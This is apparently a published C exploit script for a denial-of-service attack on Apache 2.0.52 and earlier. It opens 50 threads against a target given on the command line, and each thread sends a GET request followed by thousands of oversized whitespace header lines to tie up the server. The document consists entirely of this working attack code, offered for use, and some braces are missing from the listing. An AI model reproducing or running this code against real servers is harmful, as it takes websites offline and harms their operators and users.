Apache 2.0.52 and earlier DoS Exploit#include "stdafx.h"
#include "winsock.h"
#include "string.h"
#include "stdio.h"
#include "windows.h"
#pragma comment(lib,"ws2_32")
DWORD WINAPI attack(LPVOID);
char target[256];
int main(int argc, char* argv[])
int l=0;
int j;
DWORD dw;
HANDLE hd;
if(argc<2)
{
printf("usage: %s target", argv[0]);
exit(0);
}
strncpy(target, argv[1], 256);
printf("Attaching %s ...\n", target);
for(j=0;j<50;j++)
hd=CreateThread(NULL,0, attack, (LPVOID) l , 0, &dw);
for(j=0;j<50;j++)
WaitForSingleObject(hd, INFINITE);
printf ("done");
return 0;
DWORD WINAPI attack(LPVOID l)
int s;
SOCKADDR_IN sck;
HOSTENT *host;
char buff[256];
char space[8000];
int i;
WSADATA wsadata;
WSAStartup(MAKEWORD(1,1),&wsadata);
memset(space, ' ', 8000);
space[7998]='\n';
space[7999]='\0';
if((host=gethostbyname(target))==NULL)
{
printf("Host not found");
return -1;
}
sck.sin_family = PF_INET;
memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length );
sck.sin_port = htons(80);
if((s=socket(AF_INET,SOCK_STREAM,0))==-1)
{
printf("Socket couldn't be initiallized");
return -1;
}
if((connect(s,(struct sockaddr *)&sck,sizeof(sck))))
{
printf("Couldn't connect");
return -1;
}
sprintf(buff, "GET / HTTP/1.0\n");
//printf("%s",buff);
int len=strlen(buff);
if((send(s,buff,len,0))==-1)
{
printf ("send error");
closesocket(s);
return -1;
}
for(i=0;i<9999;i++)
{
if((send(s,space,strlen(space),0))==-1)
{
printf("Send Error on header number %d", i);
closesocket(s);
return -1;
}
}
closesocket(s);
return 0;